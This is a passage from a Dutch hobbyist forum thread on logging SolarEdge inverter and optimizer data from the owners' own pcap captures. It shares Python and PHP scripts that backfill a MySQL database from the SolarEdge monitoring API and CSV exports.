;)

the older I get, the better I was...


Acties:
  • 0 Henk 'm!

  • rjhilbrink
  • Registratie: Oktober 2007
  • Laatst online: 17-09 20:38
Kees-Jan schreef op woensdag 17 juli 2019 @ 09:38:
[...]

Ja, graag! vooral het script om de SolarEdge via RS485 uit te lezen?!

;)
Voor het uitlezen verwijs ik je aar github. Daar staan genoeg voorbeelden (ik lees zelf de de niet uit via rs485 stop er alleen de gegevens van de p1 meter in)

PV: Panasonic HIT Kuro/SolarEdge HD Wave 4.225 kWp verdeeld over 2600 Zuid Oost en 1625 Noord West


Acties:
  • 0 Henk 'm!

  • rjhilbrink
  • Registratie: Oktober 2007
  • Laatst online: 17-09 20:38
MaikelK. schreef op woensdag 17 juli 2019 @ 09:27:
[...]


Zou je de scripts kunnen delen met ons?
Dat kan, is geen probleem. Echter nu een beetje moeilijk.. maar misschien over een week of 3 ;-)

PV: Panasonic HIT Kuro/SolarEdge HD Wave 4.225 kWp verdeeld over 2600 Zuid Oost en 1625 Noord West


Acties:
  • 0 Henk 'm!

  • MaikelK.
  • Registratie: Maart 2013
  • Laatst online: 16-05 13:04
MaikelK. schreef op woensdag 10 juli 2019 @ 22:02:
[...]


Wat zou het gevolg moeten zijn geweest van de update dan? De private-key is gelijk gebleven?
@Jerrythafast heb je nog een goude tip?
Erg jammer dat het ermee gestopt is.

Jullie werk is mooier dan de SE-portal

SolarEdge SE3500HD met 12x LG320N1K-A5 waarvan 6x ZO en 6x NW


Acties:
  • 0 Henk 'm!

  • stormfly
  • Registratie: Juli 2001
  • Laatst online: 00:28
MaikelK. schreef op woensdag 17 juli 2019 @ 19:13:
[...]


@Jerrythafast heb je nog een goude tip?
Erg jammer dat het ermee gestopt is.

Jullie werk is mooier dan de SE-portal
Welke software versie heb je in de omvormer?

Hier werk het goed met deze versies, via SE portal zichtbaar na klikken op omvormer.

Versie DSP2
2.0.525
Versie DSP1
1.0.658
Versie communicatieplaat (CPU)
3.2252.0

[ Voor 23% gewijzigd door stormfly op 17-07-2019 19:57 ]


Acties:
  • 0 Henk 'm!

  • René Janssen
  • Registratie: Juli 2019
  • Laatst online: 14-08-2023
Hoi,
Ik heb met solaredge local (sel) die de setapp van de omvormer uitleest het volgende kunnen bereiken.
Uitlezen van de actuele stroom en totaal stroom en de optimizers. De optimizers leest hij helaas in 1 groot tekst file uit. Alle optimizers dus. Op zich geen ramp. Het uitlees script zet deze 3 waardes in een sql tabel.
Vervolgens een php scriptje gemaakt om het optimizer gebeuren te ontleden en apart in een tabel te vermelden.
Real time uitlezen van de optimizers zit er niet bij, zelfs op een zonnige dag als vandaag variëren de tijden per optimizer nogal enkele minuten. Een ander nadeel van SEL of van de setapp is dat er Integers worden uitgelezen i.p.v. floatingpoints. zo is 0,1 amp nog steeds 0 amp en 1,99 amp nog steeds 1 amp. Aangezien het voltage rond de 30 schommelt kan een paneel dus minstens 30 tot 60 watt te weinig aangeven.
Anyway mocht iemand intresse hebben in de scripts dan hoor ik het wel.

Acties:
  • +1 Henk 'm!

  • MaikelK.
  • Registratie: Maart 2013
  • Laatst online: 16-05 13:04
stormfly schreef op woensdag 17 juli 2019 @ 19:55:
[...]


Welke software versie heb je in de omvormer?

Hier werk het goed met deze versies, via SE portal zichtbaar na klikken op omvormer.

Versie DSP2
2.0.525
Versie DSP1
1.0.658
Versie communicatieplaat (CPU)
3.2252.0
Ik zal eerdaags even op de laptop kijken, via mijn telefoon kan ik het niet zien: niet in de app of op de website...

Alvast bedankt!

SolarEdge SE3500HD met 12x LG320N1K-A5 waarvan 6x ZO en 6x NW


Acties:
  • 0 Henk 'm!

  • niqck
  • Registratie: Maart 2003
  • Laatst online: 09-09 13:31
Hoi,

ik heb in mijn config-file de PVGis data als volgt ingegeven maar ik vind deze nergens terug in de grafieken:
$PVGtxt = "PVGis";
$PVGis = [181,256,495,641,661,644,648,600,511,380,207,167];
Moet ik nog iets aanpassen?

Acties:
  • 0 Henk 'm!

  • MaikelK.
  • Registratie: Maart 2013
  • Laatst online: 16-05 13:04
MaikelK. schreef op donderdag 18 juli 2019 @ 00:20:
[...]


Ik zal eerdaags even op de laptop kijken, via mijn telefoon kan ik het niet zien: niet in de app of op de website...

Alvast bedankt!
@wopper

Versie DSP2: 2.0.405
Versie DSP1: 1.0.451
Versie communicatieplaat (CPU): 3.2221.0

SolarEdge SE3500HD met 12x LG320N1K-A5 waarvan 6x ZO en 6x NW


Acties:
  • 0 Henk 'm!

  • stormfly
  • Registratie: Juli 2001
  • Laatst online: 00:28
MaikelK. schreef op donderdag 18 juli 2019 @ 22:09:
[...]


@wopper

Versie DSP2: 2.0.405
Versie DSP1: 1.0.451
Versie communicatieplaat (CPU): 3.2221.0
Dan denk ik toch dat jij andere uitdagingen hebt. Mijn versie lijkt nieuwer en draait wel.

Misschien je logger systeem eens vers installeren? Logt hij wel in op je database zie je daar verzoeken?

Acties:
  • 0 Henk 'm!

  • MaikelK.
  • Registratie: Maart 2013
  • Laatst online: 16-05 13:04
stormfly schreef op donderdag 18 juli 2019 @ 22:39:
[...]


Dan denk ik toch dat jij andere uitdagingen hebt. Mijn versie lijkt nieuwer en draait wel.

Misschien je logger systeem eens vers installeren? Logt hij wel in op je database zie je daar verzoeken?
Ik denk ook dat daar iets mis mee is. Hoe kan ik dat checken?

Wat ik wel gedaan heb al is de database weggooien en opnieuw vullen via de manier beschreven in de start post. Alles gaat goed tot 13 juni....

SolarEdge SE3500HD met 12x LG320N1K-A5 waarvan 6x ZO en 6x NW


Acties:
  • 0 Henk 'm!

  • stormfly
  • Registratie: Juli 2001
  • Laatst online: 00:28
MaikelK. schreef op vrijdag 19 juli 2019 @ 08:09:
[...]


Ik denk ook dat daar iets mis mee is. Hoe kan ik dat checken?

Wat ik wel gedaan heb al is de database weggooien en opnieuw vullen via de manier beschreven in de start post. Alles gaat goed tot 13 juni....
Ik zou het echt even helemaal opnieuw opbouwen, je hebt al vele herstel uren verbruikt. Tijd voor fresh install _/-\o_

[ Voor 8% gewijzigd door stormfly op 19-07-2019 08:25 ]


Acties:
  • 0 Henk 'm!

  • Rob Z
  • Registratie: Mei 2004
  • Laatst online: 21:09
Hier een nieuwe installatie met een SE4k omvormer.
Momenteel ben ik 3 dagen met de logger aan het wachten op het langskomen van de sleutel.

Is er iets in de *.pcap files waaraan ik kan zien of de encryptie al actief is?

Acties:
  • 0 Henk 'm!

  • jvdzande
  • Registratie: November 2015
  • Laatst online: 28-08 14:43
Gewoon het script find-key-in-pcap.py draaien en die verteld of het sleutel erin zit. :)

Acties:
  • 0 Henk 'm!

  • jvdzande
  • Registratie: November 2015
  • Laatst online: 28-08 14:43
MaikelK. schreef op vrijdag 19 juli 2019 @ 08:09:
Wat ik wel gedaan heb al is de database weggooien en opnieuw vullen via de manier beschreven in de start post. Alles gaat goed tot 13 juni....
Kan je ook de laatste 2 goede pcap bestanden en een paar bestanden die niet werken delen samen met de sleutel zodat we kunnen testen?

Acties:
  • 0 Henk 'm!

  • Wiley99
  • Registratie: Juni 2014
  • Laatst online: 23:15
Wiley99 schreef op woensdag 10 juli 2019 @ 17:08:
[...]


Hi KrL, ik heb dit script werkend maar in Domoticz zie ik nu toch vreemde resultaten mbt de energie. Ik vermoed dat het komt doordat om 0:00 uur geen reset plaats vindt en het Python script natuurlijk gewoon door blijft lopen. Pas als de omvormer weer inschakelt krijg ik '0' energie. Hoe heb je dat opgelost? Mijn domoticz device is nu structureel veel te hoog (energie)

Ugh, is volgens mij Domoticz, WhActual is wel goed, maar de grafieken zijn kapot... :(
Selfquote...
Heb het gevonden hoewel ik geen idee heb waarom het gebeurt:
-het domoticz 'apparaat' (SE) dat de energie en vermogen van het python script doorkrijgt springt iets na middernacht naar zijn eigen negatieve waarde (dus was bijv. 5439, springt naar -5439), aldus de domoticz.txt
De nohup.out laat netjes zien dat vanaf 0:00u ook nullen verstuurd worden door python
- daardoor raakt de counter van het kWh apparaat dat mijn netto verbruik betekent in de war
- ongeveer 5-6 minuten later springt de SE wel naar 0 maar dan springt de counter van het bruto verbruik naar de oude opwekwaarde en blijft de hele dag veel te hoog.

Oplossing is effectief maar erg onbevredigend: max(0, energy) gebruiken zodat geen negatieve waardes de boel ontregelen

Misschien een bug of timing issue in de laatste stable. Misschien ooit in de test vm maat eens de beta proberen.

A polar bear is a rectangular bear after a coordinate transform - Never attribute to malice that which is adequately explained by stupidity


Acties:
  • +1 Henk 'm!

  • niqck
  • Registratie: Maart 2003
  • Laatst online: 09-09 13:31
Rob Z schreef op vrijdag 19 juli 2019 @ 20:09:
Hier een nieuwe installatie met een SE4k omvormer.
Momenteel ben ik 3 dagen met de logger aan het wachten op het langskomen van de sleutel.

Is er iets in de *.pcap files waaraan ik kan zien of de encryptie al actief is?
Installatie is hier al bijna 8 maanden actief, waarvan al 7 maanden ge-activeerd op de SolarEdge monitoring-site. Alle traffic is nog steeds un-encrypted. Geen idee wat de trigger is om een key te onderhandelen. Of dit door mijn installateur moet ge-activeerd worden.

Dus geen paniek indien het een "tijdje" duurt eer je de sleutel ziet passeren :)

Acties:
  • 0 Henk 'm!

  • PV specialist
  • Registratie: Juli 2019
  • Laatst online: 15-09 13:51
SolarEdge Site Designer 2.3.11.
Dit is de laatste versie, een fijn programma om snel opbrengsten te kunnen berekenen voor SolarEdge systemen.
Helaas ondersteund SolarEdge dit programma niet meer. Je kunt nog wel zelf nieuwe panelen aanmaken.
Op mijn nieuwe PC werkt dit web based programma niet meer. Op de laptop nog wel.
Het programma naar de PC kopieren werkt dus niet.
Wat kan hiervoor de reden zijn ?
Ik zie binnen het programma een config bestand :

SiteDesigner.exe.config ( 3Kb)

Zou het mogelijk zijn de Site Designer weer aan de praat de krijgen ?

Acties:
  • +1 Henk 'm!

  • René Janssen
  • Registratie: Juli 2019
  • Laatst online: 14-08-2023
Hoi,
Zijn er hier mensen die een omvormer zonder display hebben en die toch het programma van Jerry kunnen draaien. Heb zelf een SE3000H zonder display. Ik krijg met geen mogelijksheid een encryptie sleutel uit dat ding.
Via een rs485 verbinding krijg ik als sleutel alleen maar x00 enz Send en Recieve werken beide goed.

groet René

Acties:
  • 0 Henk 'm!

  • MaikelK.
  • Registratie: Maart 2013
  • Laatst online: 16-05 13:04
@Jerrythafast @jvdzande @stormfly @MDKlapwijk blijkbaar is er iets gebeurd met mijn switch met port mirror functie... alles stond nog zoals het was. Ik heb het allemaal disabled en weer enabled en het draait weer.

Kan ik op de een of andere manier de missende data weer in de tabel injecteren?
Al zijn het alleen maar de dag totalen, per paneel zou ook leuk zijn maar dat is meer werk vanaf mijn kant.

[ Voor 29% gewijzigd door MaikelK. op 23-07-2019 23:27 ]

SolarEdge SE3500HD met 12x LG320N1K-A5 waarvan 6x ZO en 6x NW


Acties:
  • 0 Henk 'm!
MaikelK. schreef op dinsdag 23 juli 2019 @ 13:19:
@Jerrythafast @jvdzande @stormfly @MDKlapwijk blijkbaar is er iets gebeurd met mijn switch met port mirror functie... alles stond nog zoals het was. Ik heb het allemaal disabled en weer enabled en het draait weer.

Kan ik op de een of andere manier de missende data weer in de tabel injecteren?
Al zijn het alleen maar de dag totalen, per paneel zou ook leuk zijn maar dat is meer werk vanaf mijn kant.
Oei, dat is zonde! De data is dus niet in de .pcap bestanden terecht gekomen? Dan zul je het bij SolarEdge zelf vandaan moeten halen.

Voor de telemetry_inverter tabel kun je de meeste data (zij het soms wat afgerond) uit de SolarEdge monitoring API halen. Hiervoor heb je een API key nodig; die kun je als je admin-rechten hebt op de monitoring website zelf aanvragen en anders moet je dat even aan je installateur vragen. Met de API key (plus je SiteID, een getal dat zichtbaar is in de URL van het het monitoring portaal wanneer je bent ingelogd, en het serienummer van je omvormer) kun je dan data opvragen door deze link aan te passen en binnen te hengelen:
code:
1
https://monitoringapi.solaredge.com/equipment/<siteID>/<inverterID>/data.csv?api_key=<apiKey>&startTime=2019-07-17+00:00:00&endTime=2019-07-24+00:00:00

Hiermee haal je de data van de afgelopen 7 dagen binnen; vervolgens herhaal je dat voor de 7 dagen daarvoor totdat je alles binnen hebt. Vervolgens is het nog een kwestie van die data om te bouwen naar een SQL query die je in MySQL kunt kieperen om je database ermee te vullen.

Voor de telemetry_optimizer tabel ben je aangewezen op de Grafieken-pagina van het het monitoring portaal zelf en daar is behoorlijk wat extra werk voor nodig. Je kunt hier de paneelspanning (module voltage), uitgangsspanning (optimizer voltage) en stroomsterkte (current) van elk paneel in een grafiekje zetten. (Tip: met shift of ctrl kun je alle optimizers tegelijk selecteren en ze zo in 1 grafiek proppen.) Vervolgens zoom je op de grafiek in zodat er maar één dag zichtbaar is. Daarmee gaat de resolutie omhoog naar data per 5 minuten zoals het ooit was. Vervolgens heb je bovenaan een knopje 'Exporteren naar Excel' waarmee je een CSV file krijgt van die dag. En dan moet je dat weer zien om te zetten naar SQL queries. De temperatuur ga je hiermee niet kunnen krijgen en de energie (e_day in de database) wordt een lastige berekening want die is ook niet als zodanig beschikbaar op de grafiekenpagina.


Dus de omvormer-data is wel te doen, maar de optimizers is een ander verhaal. Voor de omvormer-data heb ik in het verleden dit script gebruikt:
Python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import MySQLdb, time, datetime

conn = MySQLdb.connect(user="...", passwd="...", db="...")
db = conn.cursor()
db.executemany(
  "INSERT IGNORE INTO telemetry_inverter "
  "(inv_id, timestamp, temperature, e_day, de_day, v_ac, i_ac, frequency, v_dc, e_total, i_rcd, mode, p_active, p_apparent, p_reactive) VALUES "
  "(%(inv_id)s, %(timestamp)s, %(temperature)s, %(e_day)s, %(de_day)s, %(v_ac)s, %(i_ac)s, %(frequency)s, %(v_dc)s, %(e_total)s, %(i_rcd)s, %(mode)s, %(p_active)s, %(p_apparent)s, %(p_reactive)s)",
  [

# Hier komt dan je data, ik heb dit destijds met wat gerommel in
# Excel en regex find+replace in Notepad++ omgebouwd naar code:
{'inv_id': 0x7F123456, 'timestamp': int(time.mktime(datetime.datetime.strptime("2017-10-03 08:44:34", "%Y-%m-%d %H:%M:%S").timetuple())), 'mode': 4, 'temperature': 26.54080, 'v_dc': 358.0620, 'e_total': 5374370.0, 'e_day': 380.0,'i_ac': 4.530390, 'v_ac': 236.8440, 'frequency': 50.01700, 'p_apparent': 1041.50, 'p_active': 1040.0, 'p_reactive': -55.50, 'de_day': 30.0, 'i_rcd': 0},
{'inv_id': 0x7F123456, 'timestamp': int(time.mktime(datetime.datetime.strptime("2017-10-03 08:49:34", "%Y-%m-%d %H:%M:%S").timetuple())), 'mode': 4, 'temperature': 26.35220, 'v_dc': 356.0620, 'e_total': 5374440.0, 'e_day': 450.0,'i_ac': 1.046090, 'v_ac': 235.3750, 'frequency': 50.00980, 'p_apparent': 239.00, 'p_active': 221.50, 'p_reactive': -89.00, 'de_day': 70.0, 'i_rcd': 0},
{'inv_id': 0x7F123456, 'timestamp': int(time.mktime(datetime.datetime.strptime("2017-10-03 08:54:34", "%Y-%m-%d %H:%M:%S").timetuple())), 'mode': 4, 'temperature': 26.28770, 'v_dc': 356.3750, 'e_total': 5374480.0, 'e_day': 490.0,'i_ac': 3.355550, 'v_ac': 235.1880, 'frequency': 50.00710, 'p_apparent': 766.00, 'p_active': 764.50, 'p_reactive': 48.00, 'de_day': 40.0, 'i_rcd': 0},
{'inv_id': 0x7F123456, 'timestamp': int(time.mktime(datetime.datetime.strptime("2017-10-03 08:59:34", "%Y-%m-%d %H:%M:%S").timetuple())), 'mode': 4, 'temperature': 26.49680, 'v_dc': 356.8750, 'e_total': 5374510.0, 'e_day': 520.0,'i_ac': 1.609380, 'v_ac': 236.1250, 'frequency': 49.98630, 'p_apparent': 368.50, 'p_active': 367.0, 'p_reactive': -43.50, 'de_day': 30.0, 'i_rcd': 0}

  ])

conn.commit()
conn.close()

Acties:
  • 0 Henk 'm!

  • Rouske
  • Registratie: Juli 2007
  • Laatst online: 21:35
PV specialist schreef op dinsdag 23 juli 2019 @ 12:08:
SolarEdge Site Designer 2.3.11.
Dit is de laatste versie, een fijn programma om snel opbrengsten te kunnen berekenen voor SolarEdge systemen.
Helaas ondersteund SolarEdge dit programma niet meer. Je kunt nog wel zelf nieuwe panelen aanmaken.
Op mijn nieuwe PC werkt dit web based programma niet meer. Op de laptop nog wel.
Het programma naar de PC kopieren werkt dus niet.
Wat kan hiervoor de reden zijn ?
Ik zie binnen het programma een config bestand :

SiteDesigner.exe.config ( 3Kb)

Zou het mogelijk zijn de Site Designer weer aan de praat de krijgen ?
Heb je de gehele map gewoonweg gekopieerd naar de PC of via het installatie bestand geïnstalleerd?

Ik mag aannemen dat het via een install wel zou moeten werken op de PC. Maar misschien is het database bestand van de laptop nodig, als die online opgehaald zou worden bij een install.

Acties:
  • 0 Henk 'm!

  • PV specialist
  • Registratie: Juli 2019
  • Laatst online: 15-09 13:51
Dank voor je reactie.

Denk dat dat een paar weken geleden nog had gewerkt, maar als je het programma installeert moet je waarschijnlijk contact maken met de SolarEdge server. En die is uitgezet, want einde programma.
Want ze hebben een nieuw programma, heel mooi, veel uitgebreider, maar kost veel tijd om simpel opbrengsten te berekenen.

Ik heb de map gekopieerd en toen proberen te installeren met een beschikbaar exe. file.

Ja, en er is ook een database file nodig, dat kon je eerder apart updaten als er nieuwe panelen waren toegevoegd door de gebruikers.
Maar hoe ziet zo'n database file eruit. In de dir. van het programma zitten wel een aantal .dll files, maar die zijn al van een oude datum, die bevatten geen gegevens van zonnepanelen.
Ik kan op de windows schijf of de dataschijf geen .dll vinden van SolarEdge. Ook de versie 9.0.69 geeft geen resultaten.

Enig idee hoe dat is ingericht ?

Acties:
  • +1 Henk 'm!

  • andrerij
  • Registratie: April 2017
  • Laatst online: 17-09 12:47
MaikelK. schreef op dinsdag 23 juli 2019 @ 13:19:
@Jerrythafast @jvdzande @stormfly @MDKlapwijk blijkbaar is er iets gebeurd met mijn switch met port mirror functie... alles stond nog zoals het was. Ik heb het allemaal disabled en weer enabled en het draait weer.

Kan ik op de een of andere manier de missende data weer in de tabel injecteren?
Al zijn het alleen maar de dag totalen, per paneel zou ook leuk zijn maar dat is meer werk vanaf mijn kant.
Ik ben pas later met het programma van Jerry begonnen dus ik had hetzelfde probleem.
Hiervoor heb ik het volgende script (semonitoring.php) geschreven voor mijn 3fase inverter:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
$date1 = strtotime(sprintf("%s 00:00:00",$_GET["date1"]));    // Unix timestamps in seconds begin dag
$date2 = strtotime(sprintf("%s 00:00:00",$_GET["date2"]));  // Unix timestamps in seconds eind dag

$host = '192.168.1.81';     // IP adres waar de database staat (standaard localhost of 127.0.0.1)
$port = '3306';             // poort database (standaard 3306)
$user = 'gebruiker';        // gebruiker
$passwd = 'password';       // paswoord gebruiker
$db = 'solaredge';          // database naam
$mysqli = new mysqli($host, $user, $passwd, $db, $port);
$query = sprintf("SELECT e_total FROM telemetry_inverter_3phase WHERE timestamp > '%s' and timestamp < '%s' ORDER BY timestamp DESC LIMIT 1", $date1-86400, $date1);
$result = $mysqli->query($query);
$row = mysqli_fetch_assoc($result);
$e_total = $row['e_total'];

$date = $date1;
while($date <= $date2){
    echo date("Y-m-d", $date) . "<br>";
    $datum_1 = date('Y-m-d%20H:i:s',$date);
    $datum_2 = date('Y-m-d%20H:i:s',$date+86400);
    $de_day = 0;
    $e_day = 0;
    $file = sprintf('https://monitoringapi.solaredge.com/equipment/<siteID>/<inverterID>/data.json?startTime=%s&endTime=%s&api_key=<apiKey>', $datum_1, $datum_2); //  eigen siteid, inverterid en apikey invullen
    $str = file_get_contents($file);
    $json = json_decode($str, true);
    $count = $json['data']['count'];
    $i=0;
    while($i < $count){
        if ($json['data']['telemetries'][$i]['totalEnergy'] > 0){
            $de_day = $json['data']['telemetries'][$i]['totalEnergy'] - $e_total;
            $e_day += $de_day;
            $e_total = $json['data']['telemetries'][$i]['totalEnergy'];     
            //  '1 OFF, 2 SLEEPING, 3 STARTING, 4 MPPT, 5 THROTTLED, 6 SHUTTING_DOWN, 8 STANDBY'
            $modeasc= $json['data']['telemetries'][$i]['inverterMode'];
            $mode = 1;
            if ( $modeasc == 'OFF' ) { $mode=1;}
            if ( $modeasc == 'SLEEPING' ) { $mode=2;}
            if ( $modeasc == 'STARTING' ) { $mode=3;}
            if ( $modeasc == 'MPPT' ) { $mode=4;}
            if ( $modeasc == 'THROTTLED' ) { $mode=5;}
            if ( $modeasc == 'SHUTTING_DOWN' ) { $mode=6;}
            if ( $modeasc == 'STANDBY' ) { $mode=8;}
            
            $query = sprintf("INSERT INTO telemetry_inverter_3phase (inv_id, timestamp, temperature, e_day, de_day, v_ac1, v_ac2, v_ac3, i_ac1, i_ac2, i_ac3, frequency1, frequency2, frequency3, v_dc, e_total, i_rcd, mode, v_1to2, v_2to3, v_3to1, p_active1, p_active2, p_active3, p_apparent1, p_apparent2, p_apparent3, p_reactive1, p_reactive2, p_reactive3 )values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')", '<inverterID>', strtotime($json['data']['telemetries'][$i]['date']),$json['data']['telemetries'][$i]['temperature'], $e_day, $de_day, $json['data']['telemetries'][$i]['L1Data']['acVoltage'],  
                            $json['data']['telemetries'][$i]['L2Data']['acVoltage'], $json['data']['telemetries'][$i]['L3Data']['acVoltage'], $json['data']['telemetries'][$i]['L1Data']['acCurrent'], $json['data']['telemetries'][$i]['L2Data']['acCurrent'], $json['data']['telemetries'][$i]['L3Data']['acCurrent'], $json['data']['telemetries'][$i]['L1Data']['acFrequency'], $json['data']['telemetries'][$i]['L2Data']['acFrequency'], $json['data']['telemetries'][$i]['L3Data']['acFrequency'], $json['data']['telemetries'][$i]['dcVoltage'], $json['data']['telemetries'][$i]['totalEnergy'], '0.004', $mode, $json['data']['telemetries'][$i]['vL1To2'], $json['data']['telemetries'][$i]['vL2To3'], $json['data']['telemetries'][$i]['vL3To1'],
                            $json['data']['telemetries'][$i]['L1Data']['activePower'], $json['data']['telemetries'][$i]['L2Data']['activePower'], $json['data']['telemetries'][$i]['L3Data']['activePower'], $json['data']['telemetries'][$i]['L1Data']['apparentPower'], $json['data']['telemetries'][$i]['L2Data']['apparentPower'], $json['data']['telemetries'][$i]['L3Data']['apparentPower'], $json['data']['telemetries'][$i]['L1Data']['reactivePower'], $json['data']['telemetries'][$i]['L2Data']['reactivePower'], $json['data']['telemetries'][$i]['L3Data']['reactivePower']);
            $result = $mysqli->query($query);   
        }
        $i +=1;
    }
    $date += 86400;
}
$thread_id = $mysqli->thread_id;
$mysqli->kill($thread_id);
$mysqli->close();
?>


in regel 23 moeten nog <siteID> <inverterID> <apiKey> ingevuld worden.
in regel 44 moet nog <inverterID> ingevuld worden.

Het kan worden aangeroepen met (voor bijvoorbeeld 1 juli 2019 tot en met 2 juli 2019)
code:
1
http://.../semonitoring.php?date1=2019-07-01&date2=2019-07-02


De INSERT INTO moet wel aangepast worden voor een enkel fase inverter.

Het aantal dagen moet beperkt blijven tot ongeveer 7 dagen per keer om geen foutmelding te krijgen door een time-out van PHP.

Acties:
  • +1 Henk 'm!

  • andrerij
  • Registratie: April 2017
  • Laatst online: 17-09 12:47
MaikelK. schreef op dinsdag 23 juli 2019 @ 13:19:
@Jerrythafast @jvdzande @stormfly @MDKlapwijk blijkbaar is er iets gebeurd met mijn switch met port mirror functie... alles stond nog zoals het was. Ik heb het allemaal disabled en weer enabled en het draait weer.

Kan ik op de een of andere manier de missende data weer in de tabel injecteren?
Al zijn het alleen maar de dag totalen, per paneel zou ook leuk zijn maar dat is meer werk vanaf mijn kant.
Voor de panelen heb ik ook nog een script die ik paneeldata.php heb genoemd.
Dit is echter monnikenwerk.

Voor de data heb ik een directory P gemaakt in de directory waarin de script staat.
In de directory P heb ik voor elke dag een directory aangemaakt met het format Y-m-d (2019-07-01)

Voor elk paneel zijn er 4 grafieken per dag belangrijk namelijk:
Energie (E) (1e omvormer, 1e string, 1e paneel aangeduid als P1.1.1 E)
Optimizer spanning (O) (1e omvormer, 1e string, 1e paneel aangeduid als OP1.1.1 V)
Paneel spanning (M) (1e omvormer, 1e string, 1e paneel aangeduid als P1.1.1 V)
Stroom (C) (1e omvormer, 1e string, 1e paneel aangeduid als P1.1.1 I)

Met de waarden van deze grafieken kunnen de waarden berekend worden met uitzondering van de uptime en de temperatuur.
Het probleem hierbij is dat de tijdstippen verschillen.

Voor elk paneel en grafiek wordt er in de dag directory een .csv file aangemaakt (voor paneel 1: 1E.csv, 1O.csv, 1M.csv en 1C.csv etc.)

Het is belangrijk dat de optie "zoom: 1D" wordt genomen zodat alleen de waarden van 1 dag zichtbaar zijn en voor maar 1 grafiek soort. Met de knop, rechtsboven, "exporteren naar Excel" kunnen de waarden dan in de P directory gezet worden.

Als alle files aanwezig zijn kan het in de database gezet worden met de volgende script:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<?php
$datum = $_GET['datum'];

include('config.php');

$mysqli = new mysqli($host, $user, $passwd, $db, $port);

$f[0] = "M";
$f[1] = "O";
$f[2] = "C";
$f[3] = "E";
$g[0][0] = "P1.1.";
$g[0][1] = " V (V)";
$g[1][0] = "OP1.1.";
$g[1][1] = " V (V)";
$g[2][0] = "P1.1.";
$g[2][1] = " I (A)";
$g[3][0] = "P1.1.";
$g[3][1] = " E (Wh)";


$fout = 0;
for ($j=1; $j<=$aantal; $j++){
    for ($k=0; $k<=3; $k++) {
        $file = $file = "./p/" . $datum ."/" . $j . $f[$k] . ".csv";
        if (($handle = fopen($file, "r")) !== FALSE) {
            $data1 = fgetcsv($handle, 1000, ",");
            $data = fgetcsv($handle, 1000, ",");
            $num = count($data);
            if ( $g[$k][0].$j.$g[$k][1] == $data1[1]) {
                if ($datum <> gmdate("Y-m-d",(new DateTime(sprintf("today %s",date("Y-m-d H:i:s", strtotime($data[0])))))->getTimestamp())) {
                    echo $file . ": datum klopt niet <br>";
                    $fout = 1;
                }
            }else{
                echo $file . " " . $g[$k][0].$j.$g[$k][1] . ": " . $data1[1] . ": serie klopt niet <br>";
                $fout = 1;
            }
            fclose($handle);
        } else {
            echo $file . ": is niet aanwezig <br>";
            $fout = 1;
        }
    }
}

echo "eind check <br>";

if ($fout == 0){
    for ($j=1; $j<=$aantal; $j++){
        $uptime = 10;
        $paneel = array();
        for ($k=0; $k<=2; $k++) {
            $file = "./p/" . $datum ."/" . $j . $f[$k] . ".csv";
            $handle = fopen($file, "r");
            $row = 0;
            while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
                if ($row > 0) {
                    if ($k == 0) {$paneel[$row-1][$k] = strtotime($data[0]);}
                    $paneel[$row-1][$k+1] = $data[1];
                }
                $row++;
            }
            fclose($handle);
        }
        $k = 3;
        $file = "./p/" . $datum . "/" . $j . $f[$k] . ".csv";
        $handle = fopen($file, "r");
        $row1 = 0;
        $e=0;
        $totaal[0] = 0;
        $tataal[1] = 0;
        while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
            if ($row1 == 1) {$tijdb = strtotime($data[0]); $Eb = $data[1];}
            if ($row1 > 1) {
                $tijde = strtotime($data[0]);
                $Ee = $data[1];
                $m = 0;
                for ($l=$e; $l<$row-1; $l++){
                    if ( $paneel[$l][0] > $tijdb && $paneel[$l][0] <= $tijde) { 
                        $m++;
                    } else {
                        if ($m > 0){
                            for ($n=$l-$m; $n < $l; $n++){
                                if ($totaal[1] > $totaal[0] ) {
                                    $paneel[$n][4] += intval($Eb*4/$m);
                                    $totaal[0] += $Eb*4/$m;
                                    $totaal[1] += intval($Eb*4/$m);
                                    $paneel[$n][4] = intval($totaal[0]);
                                }else{
                                    $totaal[0] += $Eb*4/$m;
                                    $totaal[1] += round($Eb*4/$m,0);
                                    $paneel[$n][4] = intval($totaal[0]);
                                }
                            }
                            $e = $l;
                            $Eb = $Ee;
                            $m = 0;
                        }
                    }
                }
            }
            $row1++;
        }
        for ($n=$e; $n <= $row-1; $n++){
            $totaal[0] += round($Eb*4/($row-1-$e),0);
            $paneel[$n][4] = intval($totaal[0]);
        }
        fclose($handle);
        for ($o=0; $o < $row-1; $o++) {
            $query = sprintf("insert into telemetry_optimizers (`op_id`, `timestamp`, `uptime`, `v_in`, `v_out`, `i_in`, `e_day`, `temperature`) 
                        values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')",
                        hexdec($op_id[$j][0]), $paneel[$o][0], $uptime , $paneel[$o][1]*8, $paneel[$o][2]*8, $paneel[$o][3]*160, $paneel[$o][4], 0);    
                $result = $mysqli->query($query);   
            if (!$result) {
                echo 'Error 1: insert data to the database: '.$mysqli->error;
            }
                $uptime += 10;
        }
        echo "Totaal paneel " . $j  . ": " . $totaal[0] . ", " . $totaal[1] . "<br>";
    }
}
$thread_id = $mysqli->thread_id;
$mysqli->kill($thread_id);
$mysqli->close();

echo "einde <br>";

?>

Indien je meerdere inverters en/of strings hebt moet het script aangepast worden omdat de grafiekdata dan anders gaat heten.

Je kunt de script uitvoeren met het volgende commando:
